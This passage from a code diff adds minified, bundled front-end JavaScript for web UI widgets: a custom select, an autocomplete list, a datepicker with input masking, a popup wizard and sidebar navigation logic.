r.default)(this.holder.querySelectorAll(".select__option"))[this.preSelCurrent]; + var n = i.getAttribute("data-index"); + if (this.input) { + this.input.value = ""; + this.input.removeEventListener("blur", this.onInputBlur) + } + this.setSelectedIndex(n); + this.setAriaActiveDescendant(); + setTimeout(function () { + t.close(); + t.triggerChange(t.el.value) + }, 100) + } else if (!this.isOpen()) { + this.open() + } + } + }]); + return t + }(_.Component); + b.default_settings = { + attributes: true, + icon: false, + iconsize: 24, + retainName: false, + search: false, + readonly: false, + placeholder: false, + ajax: false, + noresults: "No results found", + autocomplete: false, + minchars: 0, + label: false, + labelstyle: "inline", + triggerarrow: true, + style: "normal", + onChange: function e(t, i) {} + }; + b.instances = []; + t.default = b + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(154); + var r = h(n); + var a = i(59); + var s = h(a); + var o = i(1); + var l = h(o); + var u = i(6); + var d = h(u); + var f = i(116); + var c = h(f); + + function h(e) { + return e && e.__esModule ? e : { + default: e + } + } + var m = function () { + function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, e); + var n = this; + e.count = (e.count || 0) + 1; + this.count = e.count; + this._list = []; + this.isOpened = false; + this.input = g(t); + this.input.setAttribute("autocomplete", "off"); + this.input.setAttribute("aria-autocomplete", "both"); + this.input.setAttribute("aria-haspopup", "listbox"); + this.input.setAttribute("aria-expanded", "false"); + this.input.setAttribute("aria-owns", "awesomplete_list_" + this.count); + this.input.setAttribute("role", "combobox"); + v(this, { + minChars: 2, + maxItems: 10, + autoFirst: false, + data: e.DATA, + filter: e.FILTER_CONTAINS, + sort: i.sort === false ? false : e.SORT_BYLENGTH, + item: e.ITEM, + replace: e.REPLACE, + list: [], + mask: null + }, i); + this.index = -1; + this.container = g.create("div", { + className: "awesomplete", + around: t + }); + this.ul = g.create("ul", { + hidden: "hidden", + role: "listbox", + id: "awesomplete_list_" + this.count, + inside: this.container + }); + this.status = g.create("span", { + className: "visually-hidden", + role: "status", + "aria-live": "assertive", + "aria-atomic": true, + inside: this.container, + textContent: this.minChars != 0 ? "Type " + this.minChars + " or more characters for results." : "Begin typing for results." + }); + this._events = { + input: { + input: this.evaluate.bind(this), + blur: this.close.bind(this, { + reason: "blur" + }), + keydown: function e(t) { + var i = t.keyCode; + if (n.opened) { + if (i === 13 && n.selected) { + t.preventDefault(); + n.select() + } else if (i === 27) { + n.close({ + reason: "esc" + }) + } else if (i === 38 || i === 40) { + t.preventDefault(); + n[i === 38 ? "previous" : "next"]() + } + } + } + }, + form: { + submit: this.close.bind(this, { + reason: "submit" + }) + }, + ul: { + mousedown: function e(t) { + t.preventDefault() + }, + click: function e(t) { + var i = t.target; + if (i !== this) { + while (i && !/li/i.test(i.nodeName)) { + i = i.parentNode + } + if (i && t.button === 0) { + t.preventDefault(); + n.select(i, t.target) + } + } + } + } + }; + g.bind(this.input, this._events.input); + g.bind(this.input.form, this._events.form); + g.bind(this.ul, this._events.ul); + if (this.mask) { + this.bindInputMask(this.mask, this.input) + } + e.all.push(this) + }(0, d.default)(e, [{ + key: "close", + value: function e(t) { + if (!this.opened) { + return + } + if (t && t.reason && t.reason == "blur") { + return false + } + this.isOpened = false; + this.index = -1; + this.status.setAttribute("hidden", ""); + g.fire(this.input, "awesomplete-close", t || {}); + var i = this; + if (t && t.reason) { + setTimeout(function () { + i.ul.setAttribute("hidden", "") + }, 200) + } else { + i.ul.setAttribute("hidden", "") + } + } + }, { + key: "open", + value: function e() { + if (this.isOpened) { + return false + } + this.ul.removeAttribute("hidden"); + this.isOpened = true; + this.status.removeAttribute("hidden"); + if (this.autoFirst && this.index === -1) { + this.goto(0) + } + this.input.setAttribute("aria-expanded", "true"); + this.input.setAttribute("aria-autocomplete", "both"); + g.fire(this.input, "awesomplete-open") + } + }, { + key: "destroy", + value: function t() { + g.unbind(this.input, this._events.input); + g.unbind(this.input.form, this._events.form); + var i = this.container.parentNode; + i.insertBefore(this.input, this.container); + i.removeChild(this.container); + this.input.removeAttribute("autocomplete"); + this.input.removeAttribute("aria-autocomplete"); + this.input.setAttribute("aria-expanded", "false"); + var n = e.all.indexOf(this); + if (n !== -1) { + e.all.splice(n, 1) + } + } + }, { + key: "next", + value: function e() { + var t = this.ul.children.length; + this.goto(this.index < t - 1 ? this.index + 1 : t ? 0 : -1) + } + }, { + key: "previous", + value: function e() { + var t = this.ul.children.length; + var i = this.index - 1; + this.goto(this.selected && i !== -1 ? i : t - 1) + } + }, { + key: "goto", + value: function e(t) { + var i = this.ul.children; + if (this.selected) { + i[this.index].setAttribute("aria-selected", "false") + } + this.index = t; + if (t > -1 && i.length > 0) { + i[t].setAttribute("aria-selected", "true"); + this.status.textContent = i[t].textContent + ", list item " + (t + 1) + " of " + i.length; + this.input.setAttribute("aria-activedescendant", this.ul.id + "_item_" + this.index); + this.ul.scrollTop = i[t].offsetTop - this.ul.clientHeight + i[t].clientHeight; + g.fire(this.input, "awesomplete-highlight", { + text: this.suggestions[this.index] + }) + } + } + }, { + key: "bindInputMask", + value: function e(t, i) { + new c.default(t, { + removeMaskOnSubmit: true, + showMaskOnHover: false, + autoUnmask: true, + showMaskOnFocus: false + }).mask(i) + } + }, { + key: "select", + value: function e(t, i) { + if (t) { + this.index = g.siblingIndex(t) + } else { + t = this.ul.children[this.index] + } + if (t) { + var n = this.suggestions[this.index]; + var r = g.fire(this.input, "awesomplete-select", { + text: n, + origin: i || t + }); + if (r) { + this.replace(n); + this.close({ + reason: "select" + }); + g.fire(this.input, "awesomplete-selectcomplete", { + text: n + }) + } + } + } + }, { + key: "evaluate", + value: function e() { + var t = this; + var i = this.input.value; + if (i.length >= this.minChars && this._list && this._list.length > 0) { + this.index = -1; + this.ul.innerHTML = ""; + this.suggestions = this._list.map(function (e) { + return new p(t.data(e, i)) + }).filter(function (e) { + return t.filter(e, i) + }); + if (this.sort !== false) { + this.suggestions = this.suggestions.sort(this.sort) + } + this.suggestions = this.suggestions.slice(0, this.maxItems); + this.suggestions.forEach(function (e, n) { + t.ul.appendChild(t.item(e, i, n)) + }); + if (this.ul.children.length === 0) { + this.status.textContent = "No results found"; + this.close({ + reason: "nomatches" + }) + } else { + this.open(); + this.status.textContent = this.ul.children.length + " results found" + } + } else { + this.close({ + reason: "nomatches" + }); + this.status.textContent = "No results found" + } + } + }, { + key: "list", + set: function e(t) { + this._list = t; + if (Array.isArray(t)) { + this._list = t + } else if (typeof t === "string" && t.indexOf(",") > -1) { + this._list = t.split(/\s*,\s*/) + } else { + t = g(t); + if (t && t.children) { + var i = []; + _.apply(t.children).forEach(function (e) { + if (!e.disabled) { + var t = e.textContent.trim(); + var n = e.value || t; + var r = e.label || t; + if (n !== "") { + i.push({ + label: r, + value: n + }) + } + } + }); + this._list = i + } + } + if (document.activeElement === this.input) { + this.evaluate() + } + } + }, { + key: "selected", + get: function e() { + return this.index > -1 + } + }, { + key: "opened", + get: function e() { + return this.isOpened + } + }]); + return e + }(); + m.all = []; + m.FILTER_CONTAINS = function (e, t) { + return RegExp(g.regExpEscape(t.trim()), "i").test(e) + }; + m.FILTER_STARTSWITH = function (e, t) { + return RegExp("^" + g.regExpEscape(t.trim()), "i").test(e) + }; + m.SORT_BYLENGTH = function (e, t) { + if (e.length !== t.length) { + return e.length - t.length + } + return e < t ? -1 : 1 + }; + m.ITEM = function (e, t, i) { + var n = t.trim() === "" ? e : e.replace(RegExp(g.regExpEscape(t.trim()), "gi"), "$&"); + return g.create("li", { + innerHTML: n, + "aria-selected": "false", + role: "option", + id: "awesomplete_list_" + this.count + "_item_" + i + }) + }; + m.REPLACE = function (e) { + this.input.value = e.value + }; + m.DATA = function (e) { + return e + }; + + function p(e) { + var t = Array.isArray(e) ? { + label: e[0], + value: e[1] + } : (typeof e === "undefined" ? "undefined" : (0, s.default)(e)) === "object" && "label" in e && "value" in e ? e : { + label: e, + value: e + }; + this.label = t.label || t.value; + this.value = t.value + } + Object.defineProperty(p.prototype = (0, r.default)(String.prototype), "length", { + get: function e() { + return this.label.length + } + }); + p.prototype.toString = p.prototype.valueOf = function () { + return "" + this.label + }; + + function v(e, t, i) { + for (var n in t) { + var r = t[n], + a = e.input.getAttribute("data-" + n.toLowerCase()); + if (typeof r === "number") { + e[n] = parseInt(a) + } else if (r === false) { + e[n] = a !== null + } else if (r instanceof Function) { + e[n] = null + } else { + e[n] = a + } + if (!e[n] && e[n] !== 0) { + e[n] = n in i ? i[n] : r + } + } + } + var _ = Array.prototype.slice; + + function g(e, t) { + return typeof e === "string" ? (t || document).querySelector(e) : e || null + } + + function y(e, t) { + return _.call((t || document).querySelectorAll(e)) + } + g.create = function (e, t) { + var i = document.createElement(e); + for (var n in t) { + var r = t[n]; + if (n === "inside") { + g(r).appendChild(i) + } else if (n === "around") { + var a = g(r); + a.parentNode.insertBefore(i, a); + i.appendChild(a) + } else if (n in i) { + i[n] = r + } else { + i.setAttribute(n, r) + } + } + return i + }; + g.bind = function (e, t) { + if (e) { + for (var i in t) { + var n = t[i]; + i.split(/\s+/).forEach(function (t) { + e.addEventListener(t, n) + }) + } + } + }; + g.unbind = function (e, t) { + if (e) { + for (var i in t) { + var n = t[i]; + i.split(/\s+/).forEach(function (t) { + e.removeEventListener(t, n) + }) + } + } + }; + g.fire = function (e, t, i) { + var n = document.createEvent("HTMLEvents"); + n.initEvent(t, true, true); + for (var r in i) { + n[r] = i[r] + } + return e.dispatchEvent(n) + }; + g.regExpEscape = function (e) { + return e.replace(/[-\\^$*+?.()|[\]{}]/g, "\\$&") + }; + g.siblingIndex = function (e) { + for (var t = 0; e = e.previousElementSibling; t++) {} + return t + }; + m.$ = g; + m.$$ = y; + t.default = m + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = t.canSMIL = function e() { + return !!document.createElementNS && /SVGAnimate/.test(document.createElementNS("http://www.w3.org/2000/svg", "animate").toString()) + }; + var r = function e(t) { + return document.querySelector("html").classList.add(t) + }; + var a = function e() { + if (n()) r("can-smil") + }; + t.default = a + }, function (e, t, i) { + e.exports = { + default: i(436), + __esModule: true + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = typeof document === "undefined" ? { + body: {}, + addEventListener: function e() {}, + removeEventListener: function e() {}, + activeElement: { + blur: function e() {}, + nodeName: "" + }, + querySelector: function e() { + return null + }, + querySelectorAll: function e() { + return [] + }, + getElementById: function e() { + return null + }, + createEvent: function e() { + return { + initEvent: function e() {} + } + }, + createElement: function e() { + return { + children: [], + childNodes: [], + style: {}, + setAttribute: function e() {}, + getElementsByTagName: function e() { + return [] + } + } + }, + location: { + hash: "" + } + } : document; + var r = typeof window === "undefined" ? { + document: n, + navigator: { + userAgent: "" + }, + location: {}, + history: {}, + CustomEvent: function e() { + return this + }, + addEventListener: function e() {}, + removeEventListener: function e() {}, + getComputedStyle: function e() { + return { + getPropertyValue: function e() { + return "" + } + } + }, + Image: function e() {}, + Date: function e() {}, + screen: {}, + setTimeout: function e() {}, + clearTimeout: function e() {} + } : window; + t.window = r; + t.document = n + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(13); + var r = Y(n); + var a = i(3); + var s = Y(a); + var o = i(1); + var l = Y(o); + var u = i(6); + var d = Y(u); + var f = i(4); + var c = Y(f); + var h = i(5); + var m = Y(h); + var p = i(161); + var v = Y(p); + var _ = i(116); + var g = Y(_); + var y = i(439); + var b = Y(y); + var w = i(440); + var M = S(w); + var k = i(7); + var L = S(k); + var T = i(15); + var x = i(2); + + function S(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function Y(e) { + return e && e.__esModule ? e : { + default: e + } + } + var D = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.inputWrapper = document.createElement("div"); + n.inputWrapper.setAttribute("class", "input__wrapper"); + n.input = n.el.querySelector(".input__txt"); + var r = (0, T.getScreenSize)(); + if (r === "sm") { + n.input.setAttribute("readonly", "readonly") + } + n.el.appendChild(n.inputWrapper); + n.inputWrapper.appendChild(n.el.querySelector(".input")); + n.hidden = document.createElement("input"); + n.hidden.setAttribute("type", "hidden"); + n.hidden.setAttribute("name", n.input.getAttribute("name")); + n.input.removeAttribute("name"); + n.pikaHeightLast = 0; + var a = L.getDataAttributesRaw(e.querySelector(".input__txt")); + for (var o in a) { + if (o.indexOf("val") > -1) { + n.hidden.setAttribute(o, a[o]) + } + if (o === "data-settoday") { + n.settings.settoday = a[o] + } + if (o === "data-nohistory") { + n.settings.nohistory = a[o] + } + if (o === "data-disableddates") { + n.settings.disableddates = a[o] + } + if (o === "data-enableddates") { + n.settings.enableddates = a[o] + } + } + n.el.appendChild(n.hidden); + n.picker = null; + n.pickerContainer = n.el.querySelector(".datepicker__container"); + if (n.pickerContainer) { + n.pickerContainer.setAttribute("aria-hidden", true); + n.pickerContainer.setAttribute("tabIndex", -1) + } + n.onPickerOpen = n.onPickerOpen.bind(n); + n.onPickerClose = n.onPickerClose.bind(n); + n.onPickerSelect = n.onPickerSelect.bind(n); + n.onDisableCheck = n.onDisableCheck.bind(n); + n.onNav = n.onNav.bind(n); + n.settings.lang = n.settings.lang ? n.settings.lang : document.documentElement.lang; + v.default.locale(n.settings.lang); + n.el.addEventListener("keyup", n.onKeyUp.bind(n)); + n.input.addEventListener("focus", n.onFocus.bind(n)); + n.input.addEventListener("blur", n.onBlur.bind(n)); + n.hidden.addEventListener("focus", n.onFocusHidden.bind(n)); + n.setup(); + return n + }(0, d.default)(t, [{ + key: "setup", + value: function e() { + var t = this.settings, + i = t.settoday, + n = t.dateRawFormat; + if (i && this.input.value.length === 0) { + this.hidden.value = (0, v.default)().format(n); + this.input.value = (0, v.default)().format(n) + } + if (this.input.value.length > 0 && !i) { + this.hidden.value = (0, v.default)(this.input.value, n).format(n) + } + var r = this.settings, + a = r.disableddates, + s = r.enableddates; + if (s.length) { + try { + if (!Array.isArray(s)) { + s = s.replace(/[']/g, '"'); + s = JSON.parse(s) + } + s = s.map(function (e) { + return (0, v.default)(e, "YYYY-MM-DD") + }); + this.settings.enableddates = s + } catch (e) { + console.error(e) + } + } + if (a.length) { + try { + if (!Array.isArray(a)) { + a = a.replace(/[']/g, '"'); + a = JSON.parse(a) + } + a = a.map(function (e) { + return (0, v.default)(e, "YYYY-MM-DD") + }); + this.settings.disableddates = a + } catch (e) { + console.error(e) + } + } + } + }, { + key: "bindInputMask", + value: function e() { + this.masker = new g.default(this.settings.mask, { + removeMaskOnSubmit: true, + showMaskOnHover: false, + autoUnmask: true, + showMaskOnFocus: false + }); + this.masker.mask(this.input) + } + }, { + key: "clearInputMask", + value: function e() { + this.masker.remove(); + this.masker.remove(this.input) + } + }, { + key: "onBlur", + value: function e(t) { + var i = t.relatedTarget; + if (i === null) { + i = document.activeElement + } + if (this.picker.el.contains(i)) { + t.preventDefault(); + return false + } + if (this.picker.selectChange) { + t.preventDefault(); + return false + } + var n = this.settings, + r = n.dateRawFormat, + a = n.dateMaskedFormat; + this.clearInputMask(); + this.hidden.value = this.input.value; + if ((0, v.default)(this.input.value, r).isValid()) { + this.hidden.value = (0, v.default)(this.input.value, a).format(r) + } + if (this.picker) { + this.picker.destroy(); + this.picker = null + } + } + }, { + key: "onNav", + value: function e() { + var t = document.querySelector(".pika-single"); + if (!t.classList.contains("bottom-aligned")) { + var i = this.picker.el.clientHeight; + if (this.pikaHeightLast < i) { + this.picker.el.style.top = this.picker.el.offsetTop - this.input.clientHeight + "px" + } else if (this.pikaHeightLast > i) { + this.picker.el.style.top = this.picker.el.offsetTop + this.input.clientHeight + "px" + } + this.pikaHeightLast = i + } + } + }, { + key: "onFocus", + value: function e(t) { + var i = this.settings, + n = i.enableddates, + a = i.mask, + s = i.dateRawFormat, + o = i.lang; + var l = document.querySelectorAll(".pika-single"); + if (l.length > 0) { + (0, r.default)(l).forEach(function (e) { + return (0, k.addClass)(e, "is-hidden") + }) + } + if (this.picker) { + this.picker.destroy(); + this.picker = null + } + if (a) { + this.bindInputMask() + } + var u = (0, v.default)(this.settings.mindate, "YYYY-MM-DD"); + var d = (0, v.default)(this.settings.maxdate, "YYYY-MM-DD"); + this.picker = new b.default({ + field: this.input, + i18n: M[o], + showDaysInNextAndPreviousMonths: true, + enableSelectionDaysInNextAndPreviousMonths: true, + ariaLabel: "", + firstDay: 1, + minDate: u.isValid() ? u.toDate() : null, + maxDate: d.isValid() ? d.toDate() : null, + container: this.pickerContainer, + format: s, + onOpen: this.onPickerOpen, + onClose: this.onPickerClose, + onSelect: this.onPickerSelect, + disableDayFn: this.onDisableCheck, + onDraw: this.onNav, + keyboardInput: false + }); + this.picker.show(); + this.picker.el.setAttribute("aria-hidden", true); + this.picker.el.setAttribute("tabIndex", -1); + this.picker.el.addEventListener("keyup", this.onKeyUp.bind(this)); + this.pikaHeightLast = this.picker.el.clientHeight; + this.pikaHeight = this.picker.el.clientHeight + } + }, { + key: "onFocusHidden", + value: function e(t) { + this.input.focus() + } + }, { + key: "onPickerOpen", + value: function e() { + var t = this.settings, + i = t.settoday, + n = t.dateRawFormat; + (0, k.addClass)(this.el, "datepicker--open"); + if (this.el.classList.contains("datepicker--inverse")) { + (0, k.addClass)(this.picker.el, "inverse") + } + this.picker.el.style.width = this.input.getBoundingClientRect().width + "px"; + if (this.hidden.value === "" && this.input.value === "") { + this.hidden.value = (0, v.default)().format(n); + this.input.value = (0, v.default)().format(n) + } + } + }, { + key: "onPickerClose", + value: function e() { + this.picker.destroy(); + (0, k.removeClass)(this.el, "datepicker--open"); + this.input.blur() + } + }, { + key: "onPickerSelect", + value: function e() { + var t = this.settings, + i = t.onSelect, + n = t.dateRawFormat; + this.hidden.value = this.picker.getMoment().format(n); + if (i) { + i(this.picker.getMoment()) + } + } + }, { + key: "onDisableCheck", + value: function e(t) { + var i = this.settings, + n = i.enableddates, + r = i.disableddates, + a = i.ondisablecheck, + s = i.nohistory; + if (s && (0, v.default)(t).isBefore((0, v.default)())) { + return true + } + if (Array.isArray(n) && n.length) { + return n.findIndex(function (e) { + return (0, v.default)(t).isSame(e, "day") + }) === -1 + } + if (Array.isArray(r) && r.length) { + return r.findIndex(function (e) { + return (0, v.default)(t).isSame(e, "day") + }) !== -1 + } + return a(t) + } + }, { + key: "setEnabledDates", + value: function e(t) { + if (Array.isArray(t)) { + this.settings.enableddates = t.map(function (e) { + return (0, v.default)(e, "YYYY-MM-DD") + }) + } + } + }, { + key: "setDisabledDates", + value: function e(t) { + if (Array.isArray(t)) { + this.settings.disableddates = t.map(function (e) { + return (0, v.default)(e, "YYYY-MM-DD") + }) + } + } + }, { + key: "setMinDate", + value: function e(t) { + this.settings.mindate = (0, v.default)(t, "YYYY-MM-DD") + } + }, { + key: "setMaxDate", + value: function e(t) { + this.settings.maxdate = (0, v.default)(t, "YYYY-MM-DD") + } + }, { + key: "onKeyUp", + value: function e(t) { + var i = t.keyCode || t.which; + switch (i) { + case 27: + this.onPickerClose(); + break; + case 38: + case 40: + case 13: + case 9: + case 16: + case 32: + default: + } + } + }]); + return t + }(x.Component); + D.default_settings = { + lang: false, + name: "", + attributes: true, + pickerContainer: null, + dateRawFormat: "DD/MM/YYYY", + dateMaskedFormat: "DDMMYYYY", + mask: "99/99/9999", + settoday: false, + nohistory: false, + disableddates: [], + enableddates: [], + mindate: null, + maxdate: null, + ondisablecheck: function e(t) { + return false + } + }; + t.default = D + }, function (e, t) { + e.exports = a + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = t.PopupTrigger = undefined; + var n = i(117); + var r = o(n); + var a = i(163); + var s = o(a); + + function o(e) { + return e && e.__esModule ? e : { + default: e + } + } + t.PopupTrigger = s.default; + t.default = r.default + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = m(n); + var a = i(1); + var s = m(a); + var o = i(4); + var l = m(o); + var u = i(5); + var d = m(u); + var f = i(117); + var c = m(f); + var h = i(2); + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); + n.el = e; + n.el.addEventListener("click", function (t) { + t.preventDefault(); + var i = document.getElementById(e.getAttribute("data-content")); + if (!i) { + return + } + var n = new c.default(i, { + closeLabel: e.getAttribute("data-label-close") + }); + n.open() + }); + return n + } + return t + }(h.Component); + p.default_settings = { + attributes: false + }; + t.default = p + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(13); + var r = w(n); + var a = i(3); + var s = w(a); + var o = i(1); + var l = w(o); + var u = i(6); + var d = w(u); + var f = i(4); + var c = w(f); + var h = i(5); + var m = w(h); + var p = i(7); + var v = i(69); + var _ = i(2); + var g = i(15); + var y = i(162); + var b = w(y); + + function w(e) { + return e && e.__esModule ? e : { + default: e + } + } + var M = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.state = { + step: 0, + answers: [] + }; + n.popup = new b.default(e, { + className: "popup--wizard" + }); + n.initEvents(); + return n + }(0, d.default)(t, [{ + key: "initEvents", + value: function e() { + var t = this; + (0, p.on)(this.el, "click", ".js-wizard-close", function (e) { + e.preventDefault(); + t.popup.close() + }); + (0, p.on)(this.el, "click", ".js-wizard-next", function (e) { + t.state.step++; + t.setView(t.state.step); + t.settings.onNext(t.state.step, t) + }); + (0, p.on)(this.el, "click", ".js-wizard-back", function (e) { + t.state.step--; + t.setView(t.state.step); + t.settings.onPrev(t.state.step) + }); + (0, p.on)(this.el, "click", ".js-wizard-link", function (e, i) { + t.state.step = parseInt(i.getAttribute("data-step")); + t.setView(t.state.step) + }) + } + }, { + key: "setView", + value: function e(t) { + var i = this.el.querySelector(".wizard__questions"); + var n = (0, r.default)(this.el.querySelectorAll(".wizard__view")); + n.forEach(function (e) { + e.style.display = "none" + }); + i.style.display = t === 0 ? "none" : "block"; + n[t].style.display = "block"; + this.updateSteps(t) + } + }, { + key: "updateSteps", + value: function e(t) { + var i = this; + if (t === 0) { + return false + } + var n = (0, r.default)(this.el.querySelectorAll(".wizard__stepsitem")); + var a = this.el.querySelector(".wizard__steps"); + var s = this.el.querySelector(".wizard__stepslist"); + if ((0, g.getScreenSize)() == "sm") { + var o = n[0]; + var l = o.clientWidth; + v.TweenMax.set(s, { + x: (t - 1) * l * -1 + }) + } + n.forEach(function (e, n) { + var r = e.querySelector(".wizard__stepsanswer"); + (0, p.removeClass)(e, "active"); + (0, p.removeClass)(e, "done"); + if (n <= t - 1) { + (0, p.addClass)(e, "done"); + if (i.state.answers[n + 1]) { + r.innerHTML = i.state.answers[n + 1] + } + } + }); + (0, p.addClass)(n[t - 1], "active") + } + }, { + key: "setAnswer", + value: function e(t, i) { + this.state.answers[t] = i + } + }, { + key: "open", + value: function e() { + this.popup.open(); + this.setView(this.state.step) + } + }]); + return t + }(_.Component); + M.default_settings = { + attributes: false, + onNext: function e(t, i) {}, + onPrev: function e(t, i) {} + }; + t.default = M + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.getCurrentNavSidebarSelector = t.setCurrentNavSidebarContainer = t.getCurrentNavSidebarContainer = t.openNavSidebarMobile = t.toggleTitleIcon = t.ToggleMobileNavigationNavSidebar = t.changeMenuLinks = t.scrollFixedNavSidebar = t.default = undefined; + var n = i(58); + var r = m(n); + var a = i(13); + var s = m(a); + var o = i(166); + var l = m(o); + var u = i(7); + var d = h(u); + var f = i(167); + var c = m(f); + + function h(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function m(e) { + return e && e.__esModule ? e : { + default: e + } + } + var p = { + sidebarActiveState: "nav-sidebar__container--active", + sidebarActiveBlock: ".nav-sidebar__block--active", + header: ".nav-sidebar__header", + footer: ".nav-sidebar__footer", + noFixedFooter: "nav-sidebar--no-fixed-footer", + panel: ".js-panel", + panelOpenState: ".nav-sidebar-panel--open", + panelFixedOpenState: ".nav-sidebar-panel--fixed-open" + }; + var v = { + menu: "nav-sidebar--show-menu", + back: "nav-sidebar--show-back", + close: "nav-sidebar--show-close", + change: "nav-sidebar--show-change" + }, + _ = (0, l.default)(v).map(function (e) { + return e[1] + }); + var g = void 0, + y = void 0, + b = true; + var w = { + attributes: false, + sidebarHeight: 0, + sidebarBreakpointHeight: 820, + breakpointMobile: 992 + }; + var M = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + C(); + (0, c.default)(".nav-sidebar__container"); + var n = void 0; + window.addEventListener("resize", function () { + clearTimeout(n); + n = setTimeout(function () { + C() + }, 150) + }) + }; + var k = function e(t, i) { + if (d.hasClass(i, "checked")) { + d.removeClass(i, "checked") + } else { + d.addClass(i, "checked") + } + }; + var L = function e(t) { + var i = d.get(".nav-sidebar__logo", S()); + d.removeClass(i, _); + d.addClass(i, v[t]) + }; + var T = function e(t) { + if (t) { + d.addClass(g, "nav-sidebar--open") + } else { + d.removeClass(g, "nav-sidebar--open") + } + }; + var x = function e(t) { + b = !(b && t) + }; + var S = function e() { + return d.get("." + p.sidebarActiveState) + }; + var Y = function e() { + return "." + p.sidebarActiveState + }; + var D = function e(t) { + (0, s.default)(d.get("." + p.sidebarActiveState, document, true)).forEach(function (e) { + d.removeClass(e, p.sidebarActiveState) + }); + if (t) { + d.addClass(t, p.sidebarActiveState) + } + }; + var E = function e() { + if (window.pageYOffset > w.sidebarHeight - window.innerHeight) { + d.addClass(g, "nav-sidebar__container--fixed-bottom") + } else { + d.removeClass(g, "nav-sidebar__container--fixed-bottom") + } + }; + var C = function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; + g = S(); + if (window.innerWidth >= w.breakpointMobile) { + var i = window.innerHeight; + if (g && y) { + g.style.height = ""; + var n = d.get("" + p.panelFixedOpenState, g) || d.get("" + p.panelOpenState, g), + r = n && !t ? n.offsetHeight : 0, + a = 110; + (0, s.default)(["title", "content", "footer"]).forEach(function (e) { + var t = d.get(p.sidebarActiveBlock + " .nav-sidebar__" + e, g); + a += t ? t.offsetHeight : 0 + }); + w.activeSiderbarHeight = a; + w.sidebarHeight = Math.max(a, r, i); + g.style.height = w.sidebarHeight + "px"; + window.removeEventListener("scroll", E); + if (i >= w.sidebarHeight) { + d.removeClass(g, "nav-sidebar__container--fixed-bottom"); + d.addClass(g, ["nav-sidebar__container--fixed"]) + } else { + d.removeClass(g, ["nav-sidebar__container--fixed"]); + window.addEventListener("scroll", E, { + passive: false + }); + E() + } + } + } else { + if (g && y) { + g.style.height = ""; + window.removeEventListener("scroll", E); + d.removeClass(g, ["nav-sidebar__container--fixed-bottom", "nav-sidebar__container--fixed", "nav-sidebar--footer-bottom"]) + } + } + }; + var P = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + i = (0, r.default)(w, i); + var n = [t]; + if (typeof t === "string") { + n = (0, s.default)(document.querySelectorAll(t)) + } else if (Array.isArray(t)) { + n = t + } + n.forEach(function (e) { + M(e, i) + }) + }; + t.default = P; + t.scrollFixedNavSidebar = C; + t.changeMenuLinks = L; + t.ToggleMobileNavigationNavSidebar = x; + t.toggleTitleIcon = k; + t.openNavSidebarMobile = T; + t.getCurrentNavSidebarContainer = S; + t.setCurrentNavSidebarContainer = D; + t.getCurrentNavSidebarSelector = Y + }, function (e, t, i) { + e.exports = { + default: i(444), + __esModule: true + } + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.reverseInlineSwitch = t.playInlineSwitch = t.setCurrentPanel = t.ClosePanelAnimation = t.default = undefined; + var n = i(13); + var r = d(n); + var a = i(7); + var s = u(a); + var o = i(165); + var l = i(69); + + function u(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function d(e) { + return e && e.__esModule ? e : { + default: e + } + } + var f = { + sidebar: ".nav-sidebar__container", + sidebarActiveBlock: ".nav-sidebar__block--active", + sidebarBlocks: ".nav-sidebar__container .nav-sidebar__block", + panelContent: ".js-panel-content", + panelExtraOptions: ".nav-sidebar-panel--extra", + panelInfo: ".nav-sidebar-panel--info", + arrowState: ".nav-sidebar-panel--arrow", + close: ".js-panel-close" + }; + var c = { + animationTimeSmall: .2, + animationTimeMedium: .3, + animationTimeLarge: .4, + animationTimeOutDelay: .2, + breakpointMobile: 992, + easing: l.Power2.easeInOut + }; + var h = void 0, + m = void 0, + p = ".nav-sidebar__block--active", + v = window.innerWidth >= c.breakpointMobile ? "large" : "small", + _ = void 0, + g = c.animationTimeSmall; + var y = function e(t) { + var i = b(); + (0, r.default)(document.querySelectorAll(t)).forEach(function (e) { + s.on(e, "click", f.close, function (e) { + if (s.hasClass(i, 